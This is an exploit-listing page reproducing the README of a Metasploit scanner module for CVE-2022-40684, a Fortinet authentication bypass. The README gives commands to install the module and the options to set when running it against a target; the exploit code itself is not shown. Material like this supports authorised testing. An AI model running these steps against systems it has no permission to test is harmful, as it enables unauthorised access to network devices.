Sploitus

Exploit for Improper Authentication in Fortinet Fortiproxy

githubexploit Β· 2022-10-27

Exploit Code

README31 lines
## https://sploitus.com/exploit?id=1CB1C13D-E956-551D-8602-385ACCDC2AA6
# CVE-2022-40684-metasploit-scanner
An authentication bypass using an alternate path or channel in Fortinet product

# preparation POC
```cmd
git clone https://github.com/TaroballzChen/CVE-2022-40684-metasploit-scanner
cd CVE-2022-40684-metasploit-scanner
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp fortinet_product_auth_bypass.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/fortinet_product_auth_bypass.py
msfconsole
```

# POC usage
```text
set rhosts 
set rport 
set rssl 
set username 
exploit
```

# result
![poc](poc.png)

# reference
- https://www.fortiguard.com/psirt/FG-IR-22-377
- https://github.com/horizon3ai/CVE-2022-40684
- https://github.com/carlosevieira/CVE-2022-40684
- https://github.com/Chocapikk/CVE-2022-40684